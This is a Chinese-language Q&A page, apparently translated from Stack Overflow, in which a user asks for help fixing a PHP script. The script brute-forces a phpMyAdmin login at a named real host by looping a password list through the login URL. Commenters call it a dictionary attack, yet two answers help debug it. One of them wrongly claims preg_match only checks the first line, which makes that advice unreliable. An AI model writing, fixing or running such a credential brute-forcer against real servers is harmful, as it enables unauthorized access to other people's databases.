phpmyadmin 登录脚本
Posted
技术标签:
【中文标题】phpmyadmin 登录脚本【英文标题】:Phpmyadmin login script 【发布时间】:2010-10-06 04:51:34 【问题描述】:我尝试为 phpmyadmin 编写登录脚本
<?php
$user = "Domain";
$passwords = file("passwords.txt");
foreach ( $passwords as $pass)
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):
echo "Login Worked with: $pass";
endif;
?>
我的问题是,它在这里不起作用
echo "Login Worked with: $pass";
你能看出问题吗?
【问题讨论】:
什么不完全有效?错误信息是什么? 这看起来真的邪恶。你是在……试图入侵一个网站吗?祝你好运...... 看起来确实有问题...... 我以前从未意识到 PHP 有一个“endif”。奇数。 非常明显地试图对某些 phpmyadmin 站点进行字典攻击。不要以为我会帮忙解决这个问题。 【参考方案1】:不一定能解决您的问题,但一些基本的错误检查可能会为您指明正确的方向。您的问题甚至可能从最初调用 file 开始。
$passwords = file("passwords.txt");
if (!$passwords)
echo 'Unable to read password file';
//etc
$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass");
if (!$source)
echo 'Unable to read file source';
//etc
另外,如果您在文件系统外部的文件上调用此函数,您不会只获得类似于在浏览器中调用它的输出 (html)(不确定这是否是您的意图)。
p>【讨论】:
【参考方案2】:$source = file_get_contents("http://dbadmin.one.com/index.php?lang=en&server=1pma_username=$user&pma_password=$pass");
if(preg_match("/Database/", $source)):
$source 的值将是获取 url 的完整 HTML 响应:
http://dbadmin.one.com/index.php?lang=en&server=1&pma_username=$user&pma_password=$pass
preg_match 只会匹配该字符串的第一行。您将需要以不同方式解析字符串或替换任何换行符,以便匹配整个文件。
看起来您正在测试使用用户名“域”和多个不同密码登录到数据库。不确定这是否是您的意图,但这似乎有点奇怪。
【讨论】:
以上是关于phpmyadmin 登录脚本的主要内容,如果未能解决你的问题,请参考以下文章